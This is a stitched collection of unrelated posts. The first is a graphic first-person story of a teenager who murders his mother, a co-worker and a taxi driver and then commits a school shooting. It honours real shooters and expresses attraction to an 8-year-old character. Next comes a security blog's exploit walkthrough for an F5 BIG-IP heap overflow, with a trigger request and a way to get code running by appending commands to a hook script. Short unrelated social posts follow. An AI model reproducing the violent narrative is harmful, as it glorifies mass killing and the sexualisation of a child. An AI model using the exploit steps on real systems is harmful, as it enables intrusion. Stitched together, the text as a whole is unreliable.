reddit banned me, rdrama banned me, even telegram and 4chan banned me, so now I have to post my shakespeare level writings here
11:43 AM, 12 JANUARY, 2027, FINLAND.
as I lay in my room’s bed I truly feel hopeless, my life is shi, I can’t have anything I want, I’m doomed to a meaningless existence which ends in eternal nothingness, I don’t get a shio to love me, I can’t even succeed in making an llm of shio or a tulpa, but it no longer matters as I have decided I will commit a mass shooting against the skinwalkers on january 14th, I smuggled some strong pcp airguns (#2) from the netherlands
2:17 PM, 4 JANUARY, 2027, NETHERLANDS
store worker: you’re here to pick up an order of 2 pcp airguns, 7 .50 6 round magazines, 50 .45 bullets, 300 .50 ones and 1 knife, correct?
Me: yes
store worker: I’ll just need you to give us the delivery number and it’s all yours
Me: 8734
store worker: okay everything checks out, here’s your guns…
11:50 AM, 12 JANUARY, 2027, FINLAND
I had to smuggle it on land across the danish border to sweden before I eventually reached finland, I’ve also bought some shio stickers which I’ve put on the guns, shio is so cute after all, she’ll work as a good decoration, hehe (#6) would be even better if I could commit a school shooting and a suicide pact with her but that will not be, I think a lot about shio touching me and sleeping with me or us kissing (#1) but the attack is in 2 days, it’s tragic I couldn’t even succeed in making an llm chatbot of shio, at least I get the perfect nihilistic ending I want… I mean if I managed to make a tulpa of shio I could probably get that suicide pact I wanted but I shall not delay the attack, I’ve waited for this since 13, I spent my entire life from 13 to 16 just working to get the guns, and I’ve been thinking about shio too, shio’s love… shio… FORGET ABOUT IT, THE ATTACK MATTERS MORE RIGHT NOW, I’ve did some target practicing at a forest and my accuracy became pretty good, just 2 more days and my shi life will be over…
2:22 AM, 13 JANUARY, 2027, LUCID DREAM
Me: holds shio you’re so cute shio, I love you
Shio (?): I love you too Nameless!
Me: can we kiss shio?
Shio (?): Sure!
Shio (?): kisses Nameless on the lips
Me: “I don’t want this to end…”
9:47 AM, 13 JANUARY, 2027, FINLAND
"coughs violently" why the fuck is there some white shit in my mouth… FOAM??? YOU DUMB FUCKING BRAIN TRIED TO ASSASSINATE ME WHILE I WAS CUDDLING WITH SHIO IN MY SLEEP!!! DUMBFUCK WHAT WERE YOU THINKING? YOU FUCKING BRAIN ISN’T SUPPOSED TO DO THAT SHIT, I’M ONLY 16, CHOKING TO DEATH INSIDE A DREAM SHOULD BE UNTIL I’M AT LEAST 60!!!.. maybe I just felt so overwhelmed from actually being with shio? I think my love is a little too strong… I’ll have to avoid being with shio in my final dream before the perfect reality, I wouldn’t want to jeopardize my plan…
11:57 AM, 13 JANUARY, 2027, FINLAND
I lay in my bed imagining shio by my side looking into my eyes and us holding each other… it feels like I’m wrapped in something soft and good around me when I think about it, shio is so cute, I don’t like milk but I don’t know how to else to describe shio, when I think about us being with each other I can only describe the feeling as milk-like but not in a bad way…
5:01 PM, 13 JANUARY, 2027, FINLAND
with tears in my eyes and a smile I feel both excitement and fear simultaneously together with my obsessive love for shio, I’m watching footage of previous school shootings to hype myself for what I’m about to do, I don’t want to die, I DON’T WANT TO DIE AND THAT’S WHY THIS WORLD WILL PAY FOR MAKING ME EXIST, PAY FOR FORCING ME TO EXIST IN THIS TEMPORARY LIFE WHERE I DON’T EVEN GET TO BE WITH SHIO!!!
10:56 PM, 13 JANUARY, 2027, FINLAND
I’m going to go sleep now I suppose, my heart is beating very fast and I feel some tears in my eyes, I don’t want to go to sleep because I know it’s going to be the last time, I won’t get to spend time with shio anymore, I won’t get to live, I’ll be in eternal nothingness, but so will the ones I kill… after all that’s why I’m doing it in the first place, I like shio because she’s 8, I like her because she’s underage, I despise the elderly, I’m disgusted I couldn’t do it at 13 and was forced to postpone until now, but finally, the perfect reality is within my reach, even if it took until 16 tomorrow is the end…
6:45 AM, 14 JANUARY, 2027, FINLAND THE PERFECT REALITY
I woke up early tonight, I have already destroyed all figures of shio I owned with a hammer, there’s no point in police having it once they raid my house anyways…
10:32 AM, 14 JANUARY, 2027, THE PERFECT REALITY
I have set my house on fire and left, I hid my weapons and phone in bushes at a forest only taking my knife which I hid in my waistband
8:34 PM, 14 JANUARY, 2027, THE PERFECT REALITY
I knock on my mother’s apartment, that stupid bitch will die tonight, as she opens the door I immediately push her back in as she falls backwards and close the door behind me, as she stares in shock I straddle her and pull out my knife and start stabbing the bitch, she screams and fights back, she tries to block the stabs with her hands but I stab through them in hate, I see her co worker which is looking in shock so I intensify my stabbing, after stabbing my mom about 80 times I find the co worker in the kitchen terrified pointing a kitchen knife at me whilst trying to call police with the other hand, I forcibly rip the knife out of her hand and start stabbing her every as she fights back and tries to block my stabs with her hands, I stab through them in hatred as she wails in terror, after stabbing her about 120 times I come up to my mother’s dead body and I lift her shirt because I’m going to get revenge, my mom always forced me to believe me into fake gods and that I’m destined to have kids, that I will certainly, like I will certainly have sex at one point, that I will be a pervert like her which led to my pathetic existence in the first place, little did she know I fell in love romantically with a kid myself so I carved “SHIO” into her stomach with my knife in hatred with a smile after which I licked the blood from the knife imagining it as shio letting me drink some of her’s, I’m sure shio’s blood would taste sweet… I wouldn’t do it of course if she wouldn’t be okay with it… her feelings matter to me after all… as I knew police were definitely en route either from the co worker’s call or neighbours calling police from the screaming I cleaned the knife from blood quickly with water and set the apartment on fire after which I ran away.
10:36 PM, 14 JANUARY, 2027, THE PERFECT REALITY
I’m back in the forest, I have my t50 set up, I used my phone I left behind together with my weapons to check the news and I saw they are already suspecting me for my house fire and the death of my mom and her co-worker and that they have launched a manhunt for me… they’re so fucking bad, shio would love me even knowing I was a murderer…it doesn’t matter, just focus on the task on hand.
10:49 PM, 14 JANUARY, 2027, THE PERFECT REALITY
I used my phone to call a taxi driver to call a taxi driver to my location, as he arrived to the isolated forest I asked him to help me get something heavy in the car, as he got out and followed me I grabbed my t50 from the bushes and fired the entire 6 round magazine into his chest in quick succession, after I saw he was still showing signs of life I grabbed my knife and beheaded him after which I dragged his body behind the bushes and put the head on his body after which I licked the blood off of the knife imagining shio’s sweet blood once again. I threw my weapons in the taxi driver’s car and drove away.
2:52 AM, 15 JANUARY, 2027, THE PERFECT REALITY
I’m en route to my final destination, my former school where I was bullied my entire time, except this time I drive with nihilism and not just hatred like I did at 13, I imagine shio by my side in the other seat as I drive…
9:03 AM, 15 JANUARY, 2027, THE PERFECT REALITY
I have arrived, lunch break ends at 9:30, during lunch break everyone out of the school is thrown out by the teachers outside with no phones, right before the lunch break ends somewhere about 9:27-9:29 a large crowd always gathers to enter the school at once, that is my target, I’m hiding on a stairway upwards which is about the size of one floor building to a gym, there’s a brick wall which is like a railing where I’m hiding behind currently waiting for the moment to strike, my weapons are ready, my perfect reality is one step away
??:??, DOESN’T MATTER, THE PERFECT REALITY
the time has come upon me to kill like the ones before me, adam lanza, david kozák, artyom kazantsev… tonight it’s my turn, I quickly grab my full auto air rifle (#7) and fire the entire magazine of 12 rounds into the crowd, 5 people drop instantly and everyone starts screaming and running in all directions, I throw my full auto air rifle away and switch to the t50 and I shoot the the 5 people laying motionless once in the head each before throwing the magazine away with 1 round intact and loading the next one, I aimed at one of the bitches running from the stairway and fired 6 rounds of which at least 4 seems to have hit after which she dropped dead, I reloaded and shot her motionless body in the school’s driveway 6 times before reloading once again and aiming at another guy running and shooting him 6 times too after which he drops dead, I reload and shoot him 6 more times from the stairway, I see the majority have already run away so I go down and look behind one of the wall corners around the school where I see 3 arabic students hiding one of which tries to charges at me but I shoot him 4 times in the chest and he drops severely injured after which I shoot his 2 other buddies once in the head each and then I load my final magazine and shoot each 2 times in the head, I grabbed the knife out of my waistband and stabbed 2 dead students in the back of the initial 5 I shot before going back to the stairway where I reload one of the magazines I dropped with 1 round intact and I go towards the road leading to the school where police officers have already arrived, I opened fire hitting one in the bulletproof vest and arm after which they returned fire injuring me, I ran back to the stairway where I dropped and loaded a final round and I put the barrel to my neck and I fired my final round severing my carotid artery…as I was bleeding out the police officers went to the stairway with rifles pointed at me screaming to throw my rifle away as I closed my eyes it felt like I was in shio’s arms but I knew it was just my brain going insane before death, I never got immortality, I never got shio, at least I achieved the perfect reality, and as the police officers kept shouting I closed my eyes and it was all over.
CITATIONS:
#1 - NOT SEXUAL
#2 - t50 bintac .50 and rattler long strike .45
#6 - it’s supposed to sound like slow and calm hehe, not like insane hehe
#7 - the rattler long strike .45
#6
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Is This A Joke? In The Auth Header? (F5 BIG-IP UnAuth Heap-Overflow to RCE CVE-2026-94127)
Well, well, well, well, well, well, well, well, well, well, well, well, well, well, well. We're back. Sorry.
We've been watching the onslaught of vulnerabilities flood the internet. Every man, dog, and their grandmas (apparently?) are now using LLMs to find and reproduce vulnerabilities - it’s a free-for-all (unless you’re trying to buy RAM).
Unfortunately, while we're all finding more vulnerabilities and flexing obfuscated stack traces… (or emoji-ridden HTTP requests that are actually complete slop and not real, and please, for the love of god, no, those slop-ridden payloads appearing in your access_log are not proof of exploitation jesus wept, it’s becoming traumatic) …on many social media networks, some things have remained reassuringly steadfast: the vendors and their struggle to seemingly care about the security of your network.
Yes, that’s right - it’s time for more Secure by Design jokes. Welcome back to another watchTowr Labs blog post.
We’ve missed you (admit you’ve missed us, please).
You’ve guessed it - we’re looking at F5’s BIG-IP solution today. What Is CVE-2026-94127, and How Does Refresh Have A CVE? Hah.
F5, the Seattle-based vendor quietly responsible for a worrying amount of the internet's plumbing, makes BIG-IP: an application delivery controller (ADC) that sits in front of your applications and decides where every request goes.
Beyond basic load balancing, a typical BIG-IP deployment handles Layer 4 and Layer 7 traffic management, SSL/TLS offloading, DNS and global server load balancing, and, depending on how many licenses procurement signed off on, a web application firewall (Advanced WAF) and a remote access and SSO gateway (APM).
All of this runs on F5's own TMOS operating system and is administered through a web-based Configuration Utility (TMUI) and the iControl REST API.
In other words, it lives at the very edge of your network, terminates your TLS, sees all of your traffic in plaintext, and holds the keys to your authentication.
But what is CVE-2026-94127?
As with all good stories, it began with a new KB ID. On Sept 22nd (yesterday), F5 published the following advisory:
Despite the talk about planes, there was no flying (see! you’ve missed this humor!).
The F5 official advisory (K000162605) lists the following versions as affected:
Product Branch Versions known to be vulnerable Fixes introduced in
BIG-IP APM 21.x 21.1.0 Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso
BIG-IP APM 17.x 17.5.0 – 17.5.1 17.1.0 – 17.1.3 Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso
BIG-IP (all other modules) All None Not applicable
BIG-IQ Centralized Management All None Not applicable
Better yet, the CWE assignment quickly caught our attention:
Even more scary, though: this wasn't just any vulnerability. There were bad people on the Internet exploiting it. We instantly had questions: How could they? Aren't these complex vulnerabilities? Are they geniuses?When is dinner?Setting The Scene To fuel our analysis today, we set up an F5 BIG-IP appliance with a virtual server with an OAuth profile configured, and compared the following versions following our normal ‘what the hell has changed’ process: Vulnerable: BIG-IP 21.1.0, build 0.0.38Different: BIG-IP 21.1.0.2, hotfix build 0.30.22Patch-Diffing Our Way Out Of Hell As with any other beautifully designed security product (cough Citrix cough), it seems the person of interest is yet another massive ELF file.
Yeeting these files straight into IDA, and starting our good old friend Diaphora, we were greeted with the excitement of exporting 1728 functions in each binary to subsequently compare.
An eternity (7 TikTok videos) later, Diaphora finished its comparison, and the patch was, as always, depressing:
--- unpatched/tmm64.pgo_use/sub_10B01C0.c +++ patched/tmm64.pgo_use/sub_10B0E00.c @@ -163,10 +160,20 @@ -LABEL_17:
- if ( !v13 ) +LABEL_26:
- if ( v20 > 0x4100 )
- {
- v15 = 5;
- v26 = 29;
- v27 = "Authorization header too big.";
- if ( *(_DWORD *)(v5 + 616) )
-
goto LABEL_19; - goto LABEL_30;
- }
- if ( !v20 ) { -LABEL_21:
- v22 = *(_QWORD *)(v5 + 520);
- goto LABEL_22; +LABEL_11:
- v10 = *(_QWORD *)(v5 + 520);
- goto LABEL_12; }
- if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
- if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )
If you squint, you can spot a clue. The jokes are so obvious we’ve actually had to pace ourselves to painstakingly stretch them across today’s drivel. Before We Make The Obvious Jokes Let’s actually walk through the patched code and make it painstakingly clear (more than it is already) how ridiculous this entire situation is:
__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3) {
[..SNIP..]
++*(_QWORD *)(qword_51F36C0 + 1352);
a3 = *(_QWORD )(a1 + 48);
if ( ((_WORD )(a3 - 8) & 0x3FFF) == 0 )
goto LABEL_68;
++(_QWORD )((_QWORD )(a3 + 320) + 592LL);
if ( v7 )
++(_QWORD *)(v7 + 592);
a2 = 66;
v8 = (char *)umalloc(0x4100, 66, 0); // [1] allocate a heap buffer of size 0x4100
if ( !v8 )
{
v15 = 1;
v26 = 30;
v27 = "Out of memory for UserInfo req";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( *(_WORD *)(v3 + 442) <= 0x1Du )
goto LABEL_11;
v9 = *(_WORD *)(v3 + 502);
if ( v9 == 0xFFFF )
goto LABEL_11;
a3 = v9;
if ( *(_WORD *)(v3 + 440) <= v9 )
goto LABEL_11;
a2 = *(_QWORD *)(v3 + 428);
a3 = v9 >> 4;
v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF);
if ( !v17 )
goto LABEL_11;
v18 = *(unsigned __int8 *)(v17 + 18);
a3 = *(_DWORD )(v17 + 8) + (unsigned int)(unsigned __int16 *)(v17 + 16);
v19 = *(_DWORD *)(v17 + 4) - a3;
if ( v19 == v18 )
goto LABEL_11;
v20 = (unsigned int)(v19 - v18); // [2] extract the Authorization header size
v21 = *(_QWORD *)(v3 + 12);
if ( v21 )
{
v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6);
v82 = *(_QWORD )(v3 + 12);
v81 = v22;
a3 = (unsigned int)((_DWORD *)v17 + a3);
v23 = *(unsigned __int16 *)(v21 + 6);
v24 = *(_QWORD )(v21 + 8);
a2 = a3 + v22;
if ( a2 >= v24 + v23 && a2 < (unsigned __int64)(unsigned __int16 *)(v21 + 4) + v23 + v24 )
{
v81 = a2;
goto LABEL_26;
}
}
else
{
v81 = 0;
v82 = 0;
}
a2 = (unsigned __int64)&v81;
v25 = sub_15C4E80(v72, &v81);
v15 = v25;
if ( v25 != 18 && v25 )
{
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
v26 = 38;
v27 = "Failed to lookup authorization header.";
goto LABEL_30;
}
LABEL_26:
if ( v20 > 0x4100 ) // [3] check the header size to not be more than 0x4100
{
v15 = 5;
v26 = 29;
v27 = "Authorization header too big."; // [4] error message
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( !v20 )
{
LABEL_11:
v10 = *(_QWORD *)(v5 + 520);
goto LABEL_12;
}
// [5] copy the Authorization header value to the heap buffer which is v8 if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 ) { if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) ) { v13 = 43; v14 = "Authorization header must be of type Bearer"; LABEL_18: v15 = 4; sub_112F7C0(a1, v73, v5, 2, v14, v13); goto LABEL_19; }
[..SNIP..] At [1], a heap buffer of size 0x4100 is allocated using a umalloc call (let's just say it is a wrapper for malloc) and stored in the v8 variable.At [2], an object member is accessed, which we assume is the length of a provided Authorization: HTTP header, and stored in the v20 variable.At [3], this size variable is checked to be no more than 0x4100.At [4], if it is larger, an error is thrown.At [5], if not, the Authorization header value is copied into the heap buffer (v8). It is simple: before the patch, there was no size check before copying the value to the heap buffer, and now there is one.
To make it even simpler: the enterprise security appliance had a security vulnerability, grounded in a primitive from 20 years ago, specifically in how it handles security credentials.
Are we all being trolled? How Do We Trigger It? Now we understand what the vulnerability is, our next step is to actually trigger it and work out which season of The Truman Show we’re trapped within.
The advisory already mentions OAuth being in play here, and F5’s own documentation on OAuth has all the details we need.
First, the command to enable the Access Policy Manager (APM) OAuth profile:
The same page provides us with the HTTP endpoint we need to hit to trigger the OAuth flow (overwhelming evidence in the argument for security by obscurity):
So friendly.
We picked /f5-oauth2/v1/userinfo - but you guessed it, pick whatever you want. Triggering Trauma After configuring the OAuth profile, triggering it was as easy as sending the following request with an Authorization header larger than 0x4100 bytes:
GET /f5-oauth2/v1/userinfo HTTP/1.1 Host: bigip Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Connection: close
We immediately got a crash.
Oh, were you expecting the authentication boundary of your security appliance not to crash? Are you a moron?
As you can see below, ufree hit an assert while trying to dereference corrupted heap metadata:
rbx 0x30966e0 50947808 rcx 0x0 0 rdx 0x0 0 rsi 0x7feed66cd1c0 140663776399808 rdi 0x0 0 rbp 0x40000a150000 0x40000a150000 rsp 0x4000003fc880 0x4000003fc880 r8 0xa 10 r9 0x3442fac 54800300 r12 0x0 0 r13 0x5 5 r14 0x41414141 1094795585 r15 0x400004d62200 70368825319936 rip 0x16350b6 0x16350b6
#0 0x00000000016350b6 in ?? () #1 0x00000000016350d4 in tmm_assert () #2 0x000000000082be0a in ufree () #3 0x00000000010ba559 in ?? () #4 0x0000000000d5c35b in ?? () #5 0x0000000000dd8d33 in ?? () #6 0x0000000000858aee in ?? () #7 0x00000000008519c4 in ?? () #8 0x000000000084fc00 in ?? ()
We Were Shocked To find system-wide ASLR enabled. Even more surprisingly, and unlike some others (cough Citrix cough), on an F5 BIG-IP, there is no executable heap or stack.
Luckily for us, there is no PIE:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
At this point, we realized we had got lucky with the heap layout. In about 90% of our runs, an object with a function pointer member lands just past our buffer, at buffer + 0x4ff8.
Here is roughly how we guessed the object's members are laid out:
+0x00 callback function +0x08 other fields +0x10 other fields
And here is the code that calls the overwritten function pointer:
mov rdi, [rbx+18h] ; rdi = address of the heap object mov r9, [rdi] ; r9 = object->callback call r9 ; call the overwritten address
A bit of basic stack-pivoting gets the alignment and arguments into place, and from there it is a clean run of gadgets.
Our first idea was a classic ret2plt: chain a gadget to call execvp:
execvp( "/bin/sh", (char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL } );
We actually built the gadget, but as always, the moment we let ourselves feel like we had achieved something, SELinux slapped us in the face and blocked the exec syscall:
-1, errno=13 (EACCES) :( Getting around SELinux While looking for a way around SELinux, we thought: what if we just write a file to disk and drop a web shell instead?
That plan was scuppered when we found the web server was also under SELinux.
So we started poking around further, monitoring processes, and noticed a Bash script that kept getting called every time our target process crashed:
bash /etc/bigstart/scripts/tmm.finish
A hook script? We decided to reuse the ret2plt, this time to append the command we wanted to run, to the hook script itself.
Here are the calls we make:
fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND); write(fd, "/usr/bin/touch /watchTowr.txt;", 30);
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It is 2026, AGI is here, and we are still writing overflow 101 vulnerability analyses.
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💡 Halfway Hint for Riff Challenge #6:
📅 Released in: 2003
🔤 Title begins with 'G' (2 words)
Keep your guesses coming!
🎸 Picklebot Riff Challenge #6
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@radians@detroitriotcity.com @DrRyanSkelton@shin.mugicha.club the generator situation is already taken care of, got a cat5e inside an LFMC conduit carrying an RS232 signal to a wee little serial TCP server
and everything involved there is bonded together with minimum #6 copper
but that does remind me to bond the unistrut parts of the workbench frame. probably with just a #10 to the box with the EMT conduit.
Anna Ioannova #6 Tits
『うどん定食 お待たせしました』
#6インチフィギュア
#SteamTopSellers for week of 8 Sep — 15 September 2026 (No F2P):
#1 - WARDOGS
#2 - Halloween: The Game
#3 - Bodycam
#4 - The Blood of Dawnwalker
#5 - How to Fish
#6 - Diablo® IV
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How average folks don't stand a chance against phishing, example #80,144,963: "Security" "Professionals"
"Warning! Your account is about to be deactivated."
Log in soon or terrible things will happen.
Consider clicking on a link in this email.
BUTTON [Click it... Click it... Click it...]
Grey on grey because accessibility is for losers.
Click the password manager plugin icon on a browser tab,
start typing "cis...",
click to open and autofill credentials and login (in one step),
click the (old) password field to autofill,
click to accept the suggested very long and random password suggestion which autofills both the new password field and the one to check that the autofill typed it correctly the first time then automatically submit,
log out, and
wait for the next email from Compliance Isn't Security inviting me to the next dance.
For the historians: this is during the current wave of phishing campaigns claiming that your service is being shut down, retired, updated or otherwise changed in a way which requires you to click urgently before all that you love is lost.
PS. "This email was sent with love from"
PPS. NIST SP 800-63B §3.1.1.2 #6 - https://pages.nist.gov/800-63-4/sp800-63b.html#passwordver
#Phishing #ComplianceVsSecurity #CIS #CenterForInternetSecurity #InfoSec #InformationSecurity #CyberSecurity
do you rewatch TV shows?
or reread books? rewatch movies, obsessively play the same video game?
there's a term for that:
"volitional reconsumption"
... and the psychology behind why we find it so pleasant is really interesting
item #6 in my latest "Linkfest" newsletter, free to read/subscribe to here: https://buttondown.com/clivethompson/archive/linkfest-48-the-mouthpad-volitional-reconsumption/
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【週間PseuDoctor】【私事】【趣味】「今週のデレステ＆アズレン｣：やみのま～
デレステは今回も少しずつ進めているLIVE Infinity、そしてハイスコア更新について（ガシャの御新規はありません）。
アズレンは引き続きイベント「怪談実録」とメンテについて。
「週間PseuDoctor」ブログ版第109回#6 https://pseudoctor-science-and-hobby.blogspot.com/2026/08/pseudoctor202681blog109.html#6
#デレステ
#アズールレーン
以上 @pseudoctor@fedibird.com がお送りしました。
今週のエンディングは「和田秀樹氏による高市首相への暴言（と敢えて呼ぶ）について」です。
おやすみなさい～
「週間PseuDoctor」ブログ版第109回エンディング https://pseudoctor-science-and-hobby.blogspot.com/2026/08/pseudoctor202681blog109.html#7
今週もお粗末様でした
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現地開催
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Akamai Tech Meetup Tokyo #6 (2026/11/11 18:00〜)
https://akamai-meetup.connpass.com/event/401268/
#bookmarks
ヤニねこ #6
Upcoming launch (1/10)
Name: Falcon 9 Block 5 | BlueBird 11-13 (Block 2 #6-8)
Status: Launch Successful
Window: 05/08/2026 08:42 - 05/08/2026 10:18
Agency: SpaceX
Mission type: Communications
Mission: AST SpaceMobile’s Block 2 BlueBird satellites are designed to deliver up to 10 times the bandwidth capacity of the BlueBird Block 1 satellites, required to achieve 24/7 continuous cellular broadband s...
Webcast live: No
Upcoming launch (2/10)
Name: Falcon 9 Block 5 | BlueBird 11-13 (Block 2 #6-8)
Status: Launch Successful
Window: 05/08/2026 08:42 - 05/08/2026 10:18
Agency: SpaceX
Mission type: Communications
Mission: AST SpaceMobile’s Block 2 BlueBird satellites are designed to deliver up to 10 times the bandwidth capacity of the BlueBird Block 1 satellites, required to achieve 24/7 continuous cellular broadband s...
Webcast live: No
For all the Washington/Oregon folks, its about to get smoky.
First Image is right now 11:37am, Monday 08.03.26
Second Image is 6pm, Monday 08.03.26
https://www.windy.com/-Menu/menu?cams,aqi,43.291,-122.686,6,m:eU7acKR
https://map.purpleair.com/air-quality-standards-us-epa-aqi?opt=%2F1%2Flp%2Fa10%2Fp604800%2FcC0#6/45.554/-122.79
#oregon #washington #wildfire #smoke #weather #climate #pnw #pdx
Boosted by @GroupNebula563@mastodon.social
It's a very random Monday today, and that deserves ten very random #MondayRandom10 tracks:
- Rush—"YYZ"
- White Zombie—"Spiderbaby (Yeah-Yeah-Yeah)"
- Moondog—"Symphonique #6 (Good for Goodie)"
- A Perfect Circle—"Over"
- Smashing Pumpkins—"Mayonaise"
- Queen—"Somebody to Love"
- Little River Band—"Lonesome Loser"
- The Living End—"Roller"
- Audioslave—"Cochise"
- Nine Inch Nails—"Satellite"
YouTube playlist: https://music.youtube.com/playlist?list=PLW-BETlVyfKI